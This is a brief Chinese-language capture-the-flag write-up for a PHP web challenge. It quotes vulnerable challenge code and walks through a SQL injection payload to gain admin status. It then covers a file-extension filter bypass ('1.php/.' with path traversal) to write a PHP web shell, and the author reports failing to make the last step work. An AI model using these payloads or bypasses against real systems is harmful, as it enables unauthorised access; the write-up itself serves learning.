首先看源代碼裏的這一段:
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
這裏有幾個要考慮的點
1.floatval(_GET[id], -1) === ‘9’,也就是字符串的最後一位爲9
因爲語句接下來是會用於sql語句查詢的,所以可以構造如下的payload:
id=n'--9
經過測試當n=1時result=TRUE;
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
此時我們獲得了admin的權限
接下來對下面這段代碼進行審計:
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
接下來應該是要繞過preg_match傳個後門
flie=1.php/.就可以繞過
前面有個假目錄,也要繞過也下:
file=…/1.php/.
接下來傳一句話應該就能看到flag了,
但是不知咋滴我在攻防世界上模擬的環境裏面就是無法寫入1.php,瘋狂404…
花了金幣看了wp和我的做法差不多,按着wp裏的方法復現也還是創建不了…
…算了,就這樣吧